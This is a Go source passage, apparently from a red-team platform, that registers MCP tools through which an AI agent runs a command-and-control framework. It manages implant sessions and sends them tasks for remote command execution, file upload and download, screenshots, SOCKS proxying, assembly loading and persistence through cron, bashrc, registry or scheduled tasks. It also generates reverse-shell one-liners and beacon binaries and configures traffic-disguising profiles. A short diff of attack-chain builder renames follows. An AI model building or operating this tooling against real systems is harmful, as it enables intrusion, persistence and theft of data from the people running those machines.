if limit := int(getFloat64(params, "limit")); limit > 0 {
|
||||
filter.Limit = limit
|
||||
}
|
||||
sessions, err := m.DB().ListC2Sessions(filter)
|
||||
return makeC2Result(map[string]interface{}{"sessions": sessions, "count": len(sessions)}, err)
|
||||
|
||||
case "get":
|
||||
session, err := m.DB().GetC2Session(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if session == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("session not found"))
|
||||
}
|
||||
tasks, _ := m.DB().ListC2Tasks(database.ListC2TasksFilter{SessionID: id, Limit: 10})
|
||||
return makeC2Result(map[string]interface{}{"session": session, "tasks": tasks}, nil)
|
||||
|
||||
case "set_sleep":
|
||||
sleep := int(getFloat64(params, "sleep_seconds"))
|
||||
jitter := int(getFloat64(params, "jitter_percent"))
|
||||
err := m.DB().SetC2SessionSleep(id, sleep, jitter)
|
||||
return makeC2Result(map[string]interface{}{"updated": err == nil, "sleep_seconds": sleep, "jitter_percent": jitter}, err)
|
||||
|
||||
case "kill":
|
||||
task, err := m.EnqueueTask(c2.EnqueueTaskInput{
|
||||
SessionID: id,
|
||||
TaskType: c2.TaskTypeExit,
|
||||
Payload: map[string]interface{}{},
|
||||
Source: "ai",
|
||||
ConversationID: agent.ConversationIDFromContext(ctx),
|
||||
UserCtx: ctx,
|
||||
})
|
||||
return makeC2Result(map[string]interface{}{"task": task}, err)
|
||||
|
||||
case "delete":
|
||||
err := m.DB().DeleteC2Session(id)
|
||||
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
|
||||
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_task — 任务下发统一工具(合并所有 task 类型)
|
||||
// ============================================================================
|
||||
|
||||
func registerC2TaskTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2Task,
|
||||
Description: `在 C2 会话上下发任务。所有任务类型通过 task_type 参数指定:
|
||||
- exec: 执行命令(需 command)
|
||||
- shell: 交互式命令,保持 cwd(需 command)
|
||||
- pwd/ps/screenshot/socks_stop: 无额外参数
|
||||
- cd/ls: 需 path
|
||||
- kill_proc: 需 pid
|
||||
- upload: 需 remote_path + file_id
|
||||
- download: 需 remote_path
|
||||
- port_fwd: 需 action(start/stop) + local_port + remote_host + remote_port
|
||||
- socks_start: 需 port(默认 1080)
|
||||
- load_assembly: 需 data(base64) 或 file_id,可选 args
|
||||
- persist: 可选 method(auto/cron/bashrc/launchagent/registry/schtasks)
|
||||
返回 task_id,用 c2_task_manage 的 wait/get_result 获取结果。`,
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"session_id": map[string]interface{}{"type": "string", "description": "C2 会话 ID(s_xxx)"},
|
||||
"task_type": map[string]interface{}{"type": "string", "description": "任务类型", "enum": []string{"exec", "shell", "pwd", "cd", "ls", "ps", "kill_proc", "upload", "download", "screenshot", "port_fwd", "socks_start", "socks_stop", "load_assembly", "persist"}},
|
||||
"command": map[string]interface{}{"type": "string", "description": "命令(exec/shell)"},
|
||||
"path": map[string]interface{}{"type": "string", "description": "路径(cd/ls)"},
|
||||
"pid": map[string]interface{}{"type": "integer", "description": "进程 ID(kill_proc)"},
|
||||
"remote_path": map[string]interface{}{"type": "string", "description": "远程路径(upload/download)"},
|
||||
"file_id": map[string]interface{}{"type": "string", "description": "服务端文件 ID(upload/load_assembly)"},
|
||||
"data": map[string]interface{}{"type": "string", "description": "base64 数据(load_assembly)"},
|
||||
"args": map[string]interface{}{"type": "string", "description": "命令行参数(load_assembly)"},
|
||||
"action": map[string]interface{}{"type": "string", "description": "start/stop(port_fwd)"},
|
||||
"local_port": map[string]interface{}{"type": "integer", "description": "本地端口(port_fwd)"},
|
||||
"remote_host": map[string]interface{}{"type": "string", "description": "远程主机(port_fwd)"},
|
||||
"remote_port": map[string]interface{}{"type": "integer", "description": "远程端口(port_fwd)"},
|
||||
"port": map[string]interface{}{"type": "integer", "description": "SOCKS5 端口(socks_start),默认 1080"},
|
||||
"method": map[string]interface{}{"type": "string", "description": "持久化方法(persist): auto/cron/bashrc/launchagent/registry/schtasks"},
|
||||
"timeout_seconds": map[string]interface{}{"type": "integer", "description": "超时秒数,默认 60"},
|
||||
},
|
||||
"required": []string{"session_id", "task_type"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
sessionID := getString(params, "session_id")
|
||||
taskTypeStr := getString(params, "task_type")
|
||||
taskType := c2.TaskType(taskTypeStr)
|
||||
timeout := getFloat64(params, "timeout_seconds")
|
||||
|
||||
payload := map[string]interface{}{"timeout_seconds": timeout}
|
||||
|
||||
switch taskType {
|
||||
case c2.TaskTypeExec, c2.TaskTypeShell:
|
||||
payload["command"] = getString(params, "command")
|
||||
case c2.TaskTypeCd, c2.TaskTypeLs:
|
||||
payload["path"] = getString(params, "path")
|
||||
case c2.TaskTypeKillProc:
|
||||
payload["pid"] = params["pid"]
|
||||
case c2.TaskTypeUpload:
|
||||
payload["remote_path"] = getString(params, "remote_path")
|
||||
payload["file_id"] = getString(params, "file_id")
|
||||
case c2.TaskTypeDownload:
|
||||
payload["remote_path"] = getString(params, "remote_path")
|
||||
case c2.TaskTypePortFwd:
|
||||
payload["action"] = getString(params, "action")
|
||||
payload["local_port"] = params["local_port"]
|
||||
payload["remote_host"] = getString(params, "remote_host")
|
||||
payload["remote_port"] = params["remote_port"]
|
||||
case c2.TaskTypeSocksStart:
|
||||
payload["port"] = params["port"]
|
||||
case c2.TaskTypeLoadAssembly:
|
||||
payload["data"] = getString(params, "data")
|
||||
payload["file_id"] = getString(params, "file_id")
|
||||
payload["args"] = getString(params, "args")
|
||||
case c2.TaskTypePersist:
|
||||
payload["method"] = getString(params, "method")
|
||||
case c2.TaskTypePwd, c2.TaskTypePs, c2.TaskTypeScreenshot, c2.TaskTypeSocksStop:
|
||||
// no extra params
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unsupported task_type: %s", taskTypeStr))
|
||||
}
|
||||
|
||||
input := c2.EnqueueTaskInput{
|
||||
SessionID: sessionID,
|
||||
TaskType: taskType,
|
||||
Payload: payload,
|
||||
Source: "ai",
|
||||
ConversationID: agent.ConversationIDFromContext(ctx),
|
||||
UserCtx: ctx,
|
||||
}
|
||||
task, err := m.EnqueueTask(input)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{"task_id": task.ID, "status": task.Status}, nil)
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_task_manage — 任务管理工具(查询/等待/取消)
|
||||
// ============================================================================
|
||||
|
||||
func registerC2TaskManageTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2TaskManage,
|
||||
Description: `C2 任务管理。通过 action 参数选择操作:
|
||||
- get_result: 获取任务详情和结果(需 task_id)
|
||||
- wait: 阻塞等待任务完成并返回结果(需 task_id)
|
||||
- list: 列出任务(可按 session_id/status 过滤)
|
||||
- cancel: 取消排队中的任务(需 task_id)`,
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"action": map[string]interface{}{"type": "string", "description": "操作: get_result/wait/list/cancel", "enum": []string{"get_result", "wait", "list", "cancel"}},
|
||||
"task_id": map[string]interface{}{"type": "string", "description": "任务 ID(get_result/wait/cancel 需要)"},
|
||||
"session_id": map[string]interface{}{"type": "string", "description": "按会话过滤(list)"},
|
||||
"status": map[string]interface{}{"type": "string", "description": "按状态过滤: queued/sent/running/success/failed/cancelled(list)"},
|
||||
"limit": map[string]interface{}{"type": "integer", "description": "返回数量上限(list)"},
|
||||
"timeout_seconds": map[string]interface{}{"type": "integer", "description": "等待超时秒数(wait),默认 60"},
|
||||
},
|
||||
"required": []string{"action"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
action := getString(params, "action")
|
||||
|
||||
switch action {
|
||||
case "get_result":
|
||||
id := getString(params, "task_id")
|
||||
task, err := m.DB().GetC2Task(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if task == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("task not found"))
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{"task": task}, nil)
|
||||
|
||||
case "wait":
|
||||
id := getString(params, "task_id")
|
||||
timeout := int(getFloat64(params, "timeout_seconds"))
|
||||
if timeout <= 0 {
|
||||
timeout = 60
|
||||
}
|
||||
deadline := time.Now().Add(time.Duration(timeout) * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
task, err := m.DB().GetC2Task(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if task == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("task not found"))
|
||||
}
|
||||
if task.Status == "success" || task.Status == "failed" || task.Status == "cancelled" {
|
||||
return makeC2Result(map[string]interface{}{"task": task}, nil)
|
||||
}
|
||||
select {
|
||||
case <-time.After(500 * time.Millisecond):
|
||||
case <-ctx.Done():
|
||||
return makeC2Result(nil, ctx.Err())
|
||||
}
|
||||
}
|
||||
return makeC2Result(nil, fmt.Errorf("timeout waiting for task completion"))
|
||||
|
||||
case "list":
|
||||
filter := database.ListC2TasksFilter{
|
||||
SessionID: getString(params, "session_id"),
|
||||
Status: getString(params, "status"),
|
||||
}
|
||||
if limit := int(getFloat64(params, "limit")); limit > 0 {
|
||||
filter.Limit = limit
|
||||
}
|
||||
tasks, err := m.DB().ListC2Tasks(filter)
|
||||
return makeC2Result(map[string]interface{}{"tasks": tasks, "count": len(tasks)}, err)
|
||||
|
||||
case "cancel":
|
||||
id := getString(params, "task_id")
|
||||
err := m.CancelTask(id)
|
||||
return makeC2Result(map[string]interface{}{"cancelled": err == nil}, err)
|
||||
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_payload — Payload 统一工具
|
||||
// ============================================================================
|
||||
|
||||
func registerC2PayloadTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListenPort int) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2Payload,
|
||||
Description: fmt.Sprintf(`C2 Payload 生成。通过 action 参数选择操作:
|
||||
- oneliner: 生成单行 payload。kind 必须与监听器协议一致,否则会失败:
|
||||
• tcp_reverse:裸 TCP 反弹,可用 kind: bash, nc, nc_mkfifo, python, perl, powershell(bash 指 /dev/tcp 类,不是 HTTP)。
|
||||
• http_beacon / https_beacon / websocket:仅 HTTP(S) Beacon 轮询,oneliner 只能用 kind: curl_beacon(脚本内用 bash+curl,与「tcp 的 bash」不同)。curl_beacon 返回串末尾含「 &」用于把整个 bash -c 放后台;若用 exec/execute 同步执行,必须整段原样复制(含末尾 &)。若删掉 &,内部 while 死循环占满前台,调用会一直阻塞到超时/杀进程。
|
||||
• 需要经典 bash 反弹 shell 时:先 c2_listener create type=tcp_reverse,再对该监听器用 kind=bash。
|
||||
• 省略 kind 时,会按监听器类型自动选第一个兼容类型(HTTP 系默认为 curl_beacon)。
|
||||
- build: 交叉编译 beacon 二进制。支持 http_beacon / https_beacon / websocket / tcp_reverse(tcp_reverse 下植入端回连后先发魔数 CSB1,再走与 HTTP 相同的 AES-GCM JSON 语义;未发魔数的连接仍按经典交互 shell 处理)。
|
||||
依赖的监听器 bind_port 须避开本服务 Web 端口 %d(配置 server.port,与 c2_listener 描述一致),否则 Beacon 无法正确回连。`, webListenPort),
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"action": map[string]interface{}{"type": "string", "description": "操作: oneliner/build", "enum": []string{"oneliner", "build"}},
|
||||
"listener_id": map[string]interface{}{"type": "string", "description": "监听器 ID(必填)。oneliner 前请确认该监听器的 type,再选兼容的 kind"},
|
||||
"kind": map[string]interface{}{"type": "string", "description": "仅 action=oneliner 需要。tcp_reverse: bash|nc|nc_mkfifo|python|perl|powershell;http_beacon|https_beacon|websocket: 仅 curl_beacon"},
|
||||
"host": map[string]interface{}{"type": "string", "description": "oneliner/build 可选覆盖:非空则强制用作植入回连主机。留空时顺序为:监听器 callback_host(create/update 的 callback_host 参数写入)→ bind_host(0.0.0.0 时尝试本机对外 IP 探测)"},
|
||||
"os": map[string]interface{}{"type": "string", "description": "目标 OS(build): linux/windows/darwin", "default": "linux"},
|
||||
"arch": map[string]interface{}{"type": "string", "description": "目标架构(build): amd64/arm64/386/arm", "default": "amd64"},
|
||||
"sleep_seconds": map[string]interface{}{"type": "integer", "description": "默认心跳间隔(build)"},
|
||||
"jitter_percent": map[string]interface{}{"type": "integer", "description": "默认抖动百分比(build)"},
|
||||
},
|
||||
"required": []string{"action", "listener_id"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
action := getString(params, "action")
|
||||
listenerID := getString(params, "listener_id")
|
||||
|
||||
switch action {
|
||||
case "oneliner":
|
||||
listener, err := m.DB().GetC2Listener(listenerID)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if listener == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("listener not found"))
|
||||
}
|
||||
host := c2.ResolveBeaconDialHost(listener, getString(params, "host"), l, listenerID)
|
||||
kind := c2.OnelinerKind(getString(params, "kind"))
|
||||
if kind == "" {
|
||||
compatible := c2.OnelinerKindsForListener(listener.Type)
|
||||
if len(compatible) > 0 {
|
||||
kind = compatible[0]
|
||||
}
|
||||
}
|
||||
if !c2.IsOnelinerCompatible(listener.Type, kind) {
|
||||
compatible := c2.OnelinerKindsForListener(listener.Type)
|
||||
names := make([]string, len(compatible))
|
||||
for i, k := range compatible {
|
||||
names[i] = string(k)
|
||||
}
|
||||
return makeC2Result(nil, fmt.Errorf("监听器类型 %s 不支持 %s,兼容类型: %v", listener.Type, kind, names))
|
||||
}
|
||||
input := c2.OnelinerInput{
|
||||
Kind: kind,
|
||||
Host: host,
|
||||
Port: listener.BindPort,
|
||||
HTTPBaseURL: fmt.Sprintf("http://%s:%d", host, listener.BindPort),
|
||||
ImplantToken: listener.ImplantToken,
|
||||
}
|
||||
oneliner, err := c2.GenerateOneliner(input)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
out := map[string]interface{}{
|
||||
"oneliner": oneliner, "kind": input.Kind, "host": host, "port": listener.BindPort,
|
||||
}
|
||||
if kind == c2.OnelinerCurl {
|
||||
out["usage_note"] = "同步 exec/execute:整段原样执行(末尾须有「 &」)。去掉则 while 永不结束,工具会一直卡住。"
|
||||
}
|
||||
return makeC2Result(out, nil)
|
||||
|
||||
case "build":
|
||||
builder := c2.NewPayloadBuilder(m, l, "", "")
|
||||
input := c2.PayloadBuilderInput{
|
||||
ListenerID: listenerID,
|
||||
OS: getString(params, "os"),
|
||||
Arch: getString(params, "arch"),
|
||||
SleepSeconds: int(getFloat64(params, "sleep_seconds")),
|
||||
JitterPercent: int(getFloat64(params, "jitter_percent")),
|
||||
Host: strings.TrimSpace(getString(params, "host")),
|
||||
}
|
||||
result, err := builder.BuildBeacon(input)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{
|
||||
"payload_id": result.PayloadID, "download_path": result.DownloadPath,
|
||||
"os": result.OS, "arch": result.Arch, "size_bytes": result.SizeBytes,
|
||||
}, nil)
|
||||
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_event — 事件查询工具
|
||||
// ============================================================================
|
||||
|
||||
func registerC2EventTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2Event,
|
||||
Description: "获取 C2 事件(上线/掉线/任务/错误),支持按级别/类别/会话/任务/时间过滤",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"level": map[string]interface{}{"type": "string", "description": "级别过滤: info/warn/critical"},
|
||||
"category": map[string]interface{}{"type": "string", "description": "类别过滤: listener/session/task/payload/opsec"},
|
||||
"session_id": map[string]interface{}{"type": "string", "description": "按会话过滤"},
|
||||
"task_id": map[string]interface{}{"type": "string", "description": "按任务过滤"},
|
||||
"since": map[string]interface{}{"type": "string", "description": "起始时间(RFC3339 格式,如 2025-01-01T00:00:00Z)"},
|
||||
"limit": map[string]interface{}{"type": "integer", "default": 50, "description": "返回数量"},
|
||||
},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
filter := database.ListC2EventsFilter{
|
||||
Level: getString(params, "level"),
|
||||
Category: getString(params, "category"),
|
||||
SessionID: getString(params, "session_id"),
|
||||
TaskID: getString(params, "task_id"),
|
||||
Limit: int(getFloat64(params, "limit")),
|
||||
}
|
||||
if filter.Limit <= 0 {
|
||||
filter.Limit = 50
|
||||
}
|
||||
if since := getString(params, "since"); since != "" {
|
||||
if t, err := time.Parse(time.RFC3339, since); err == nil {
|
||||
filter.Since = &t
|
||||
}
|
||||
}
|
||||
events, err := m.DB().ListC2Events(filter)
|
||||
return makeC2Result(map[string]interface{}{"events": events, "count": len(events)}, err)
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_profile — Malleable Profile 管理工具(新增)
|
||||
// ============================================================================
|
||||
|
||||
func registerC2ProfileTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2Profile,
|
||||
Description: `C2 Malleable Profile 管理(控制 beacon 通信伪装)。通过 action 参数选择操作:
|
||||
- list: 列出所有 Profile
|
||||
- get: 获取 Profile 详情(需 profile_id)
|
||||
- create: 创建 Profile(需 name,可选 user_agent/uris/request_headers/response_headers/body_template/jitter_min_ms/jitter_max_ms)
|
||||
- update: 更新 Profile(需 profile_id)
|
||||
- delete: 删除 Profile(需 profile_id)`,
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/create/update/delete", "enum": []string{"list", "get", "create", "update", "delete"}},
|
||||
"profile_id": map[string]interface{}{"type": "string", "description": "Profile ID(get/update/delete 需要)"},
|
||||
"name": map[string]interface{}{"type": "string", "description": "Profile 名称"},
|
||||
"user_agent": map[string]interface{}{"type": "string", "description": "User-Agent 字符串"},
|
||||
"uris": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "beacon 请求的 URI 列表"},
|
||||
"request_headers": map[string]interface{}{"type": "object", "description": "自定义请求头"},
|
||||
"response_headers": map[string]interface{}{"type": "object", "description": "自定义响应头"},
|
||||
"body_template": map[string]interface{}{"type": "string", "description": "响应体模板"},
|
||||
"jitter_min_ms": map[string]interface{}{"type": "integer", "description": "最小抖动(毫秒)"},
|
||||
"jitter_max_ms": map[string]interface{}{"type": "integer", "description": "最大抖动(毫秒)"},
|
||||
},
|
||||
"required": []string{"action"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
action := getString(params, "action")
|
||||
id := getString(params, "profile_id")
|
||||
|
||||
switch action {
|
||||
case "list":
|
||||
profiles, err := m.DB().ListC2Profiles()
|
||||
return makeC2Result(map[string]interface{}{"profiles": profiles, "count": len(profiles)}, err)
|
||||
|
||||
case "get":
|
||||
profile, err := m.DB().GetC2Profile(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if profile == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("profile not found"))
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{"profile": profile}, nil)
|
||||
|
||||
case "create":
|
||||
profile := &database.C2Profile{
|
||||
ID: "p_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14],
|
||||
Name: getString(params, "name"),
|
||||
UserAgent: getString(params, "user_agent"),
|
||||
BodyTemplate: getString(params, "body_template"),
|
||||
JitterMinMS: int(getFloat64(params, "jitter_min_ms")),
|
||||
JitterMaxMS: int(getFloat64(params, "jitter_max_ms")),
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
if uris, ok := params["uris"]; ok {
|
||||
if arr, ok := uris.([]interface{}); ok {
|
||||
for _, u := range arr {
|
||||
if s, ok := u.(string); ok {
|
||||
profile.URIs = append(profile.URIs, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if rh, ok := params["request_headers"]; ok {
|
||||
if m, ok := rh.(map[string]interface{}); ok {
|
||||
profile.RequestHeaders = make(map[string]string)
|
||||
for k, v := range m {
|
||||
profile.RequestHeaders[k], _ = v.(string)
|
||||
}
|
||||
}
|
||||
}
|
||||
if rh, ok := params["response_headers"]; ok {
|
||||
if m, ok := rh.(map[string]interface{}); ok {
|
||||
profile.ResponseHeaders = make(map[string]string)
|
||||
for k, v := range m {
|
||||
profile.ResponseHeaders[k], _ = v.(string)
|
||||
}
|
||||
}
|
||||
}
|
||||
if err := m.DB().CreateC2Profile(profile); err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{"profile": profile}, nil)
|
||||
|
||||
case "update":
|
||||
profile, err := m.DB().GetC2Profile(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if profile == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("profile not found"))
|
||||
}
|
||||
if v := getString(params, "name"); v != "" {
|
||||
profile.Name = v
|
||||
}
|
||||
if v := getString(params, "user_agent"); v != "" {
|
||||
profile.UserAgent = v
|
||||
}
|
||||
if v := getString(params, "body_template"); v != "" {
|
||||
profile.BodyTemplate = v
|
||||
}
|
||||
if v := int(getFloat64(params, "jitter_min_ms")); v > 0 {
|
||||
profile.JitterMinMS = v
|
||||
}
|
||||
if v := int(getFloat64(params, "jitter_max_ms")); v > 0 {
|
||||
profile.JitterMaxMS = v
|
||||
}
|
||||
if uris, ok := params["uris"]; ok {
|
||||
if arr, ok := uris.([]interface{}); ok {
|
||||
profile.URIs = nil
|
||||
for _, u := range arr {
|
||||
if s, ok := u.(string); ok {
|
||||
profile.URIs = append(profile.URIs, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if rh, ok := params["request_headers"]; ok {
|
||||
if mp, ok := rh.(map[string]interface{}); ok {
|
||||
profile.RequestHeaders = make(map[string]string)
|
||||
for k, v := range mp {
|
||||
profile.RequestHeaders[k], _ = v.(string)
|
||||
}
|
||||
}
|
||||
}
|
||||
if rh, ok := params["response_headers"]; ok {
|
||||
if mp, ok := rh.(map[string]interface{}); ok {
|
||||
profile.ResponseHeaders = make(map[string]string)
|
||||
for k, v := range mp {
|
||||
profile.ResponseHeaders[k], _ = v.(string)
|
||||
}
|
||||
}
|
||||
}
|
||||
if err := m.DB().UpdateC2Profile(profile); err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{"profile": profile}, nil)
|
||||
|
||||
case "delete":
|
||||
err := m.DB().DeleteC2Profile(id)
|
||||
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
|
||||
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_file — 文件管理工具(新增)
|
||||
// ============================================================================
|
||||
|
||||
func registerC2FileTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2File,
|
||||
Description: `C2 文件管理。通过 action 参数选择操作:
|
||||
- list: 列出会话的文件传输记录(需 session_id)
|
||||
- get_result: 获取任务结果文件路径(截图等,需 task_id)`,
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"action": map[string]interface{}{"type": "string", "description": "操作: list/get_result", "enum": []string{"list", "get_result"}},
|
||||
"session_id": map[string]interface{}{"type": "string", "description": "会话 ID(list 需要)"},
|
||||
"task_id": map[string]interface{}{"type": "string", "description": "任务 ID(get_result 需要)"},
|
||||
},
|
||||
"required": []string{"action"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
action := getString(params, "action")
|
||||
|
||||
switch action {
|
||||
case "list":
|
||||
sessionID := getString(params, "session_id")
|
||||
if sessionID == "" {
|
||||
return makeC2Result(nil, fmt.Errorf("session_id required"))
|
||||
}
|
||||
files, err := m.DB().ListC2FilesBySession(sessionID)
|
||||
return makeC2Result(map[string]interface{}{"files": files, "count": len(files)}, err)
|
||||
|
||||
case "get_result":
|
||||
taskID := getString(params, "task_id")
|
||||
task, err := m.DB().GetC2Task(taskID)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if task == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("task not found"))
|
||||
}
|
||||
if task.ResultBlobPath == "" {
|
||||
return makeC2Result(map[string]interface{}{"has_file": false, "task_id": taskID}, nil)
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{
|
||||
"has_file": true,
|
||||
"task_id": taskID,
|
||||
"file_path": task.ResultBlobPath,
|
||||
}, nil)
|
||||
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 工具函数
|
||||
// ============================================================================
|
||||
|
||||
func getString(params map[string]interface{}, key string) string {
|
||||
if v, ok := params[key]; ok {
|
||||
if s, ok := v.(string); ok {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getFloat64(params map[string]interface{}, key string) float64 {
|
||||
if v, ok := params[key]; ok {
|
||||
switch n := v.(type) {
|
||||
case float64:
|
||||
return n
|
||||
case int:
|
||||
return float64(n)
|
||||
case string:
|
||||
if f, err := strconv.ParseFloat(n, 64); err == nil {
|
||||
return f
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
@@ -145,7 +145,7 @@ func (b *Builder) BuildChainFromConversation(ctx context.Context, conversationID
|
||||
}
|
||||
|
||||
// 1. 优先尝试从数据库获取保存的最后一轮ReAct输入和输出
|
||||
reactInputJSON, modelOutput, err := b.db.GetReActData(conversationID)
|
||||
reactInputJSON, modelOutput, err := b.db.GetAgentTrace(conversationID)
|
||||
if err != nil {
|
||||
b.logger.Warn("获取保存的ReAct数据失败,将使用消息历史构建", zap.Error(err))
|
||||
// 继续使用原来的逻辑
|
||||
@@ -170,7 +170,7 @@ func (b *Builder) BuildChainFromConversation(ctx context.Context, conversationID
|
||||
messageCount = len(tempMessages)
|
||||
}
|
||||
|
||||
dataSource = "database_last_react_input"
|
||||
dataSource = "database_last_agent_trace"
|
||||
b.logger.Info("使用保存的ReAct数据构建攻击链",
|
||||
zap.String("conversationId", conversationID),
|
||||
zap.String("dataSource", dataSource),
|
||||
@@ -183,7 +183,7 @@ func (b *Builder) BuildChainFromConversation(ctx context.Context, conversationID
|
||||
// userInput = b.extractUserInputFromReActInput(reactInputJSON)
|
||||
|
||||
// 将JSON格式的messages转换为可读格式
|
||||
reactInputFinal = b.formatReActInputFromJSON(reactInputJSON)
|
||||
reactInputFinal = b.formatAgentTraceInputFromJSON(reactInputJSON)
|
||||
} else {
|
||||
// 2. 如果没有保存的ReAct数据,从对话消息构建
|
||||
dataSource = "messages_table"
|
||||
@@ -201,7 +201,7 @@ func (b *Builder) BuildChainFromConversation(ctx context.Context, conversationID
|
||||
}
|
||||
|
||||
// 提取最后一轮ReAct的输入(历史消息+当前用户输入)
|
||||
reactInputFinal = b.buildReActInput(messages)
|
||||
reactInputFinal = b.buildAgentTraceInput(messages)
|
||||
|
||||
// 提取大模型最后的输出(最后一条assistant消息)
|
||||
for i := len(messages) - 1; i >= 0; i-- {
|
||||
@@ -212,7 +212,7 @@ func (b *Builder) BuildChainFromConversation(ctx context.Context, conversationID
|
||||
}
|
||||
}
|
||||
|
||||
// 多代理:保存的 last_react_input 可能仅为首轮用户消息,不含工具轨迹;补充最后一轮助手的过程详情(与单代理「最后一轮 ReAct」对齐)
|
||||
// 多代理:保存的轨迹列可能仅为首轮用户消息,不含工具轨迹;补充最后一轮助手的过程详情(与单代理完整轨迹对齐)
|
||||
hasMCPOnAssistant := false
|
||||
var lastAssistantID string
|
||||
for i := len(messages) - 1; i >= 0; i-- {
|
||||
@@ -320,7 +320,7 @@ func (b *Builder) formatProcessDetailsForAttackChain(details []database.ProcessD
|
||||
}
|
||||
|
||||
// 1) 编排器的工具调用/结果:保留(这是“主 agent 调了什么工具”)
|
||||
if (d.EventType == "tool_call" || d.EventType == "tool_result" || d.EventType == "tool_calls_detected" || d.EventType == "iteration" || d.EventType == "eino_recovery") && einoRole == "orchestrator" {
|
||||
if (d.EventType == "tool_call" || d.EventType == "tool_result" || d.EventType == "tool_calls_detected" || d.EventType == "iteration") && einoRole == "orchestrator" {
|
||||
sb.WriteString("[")
|
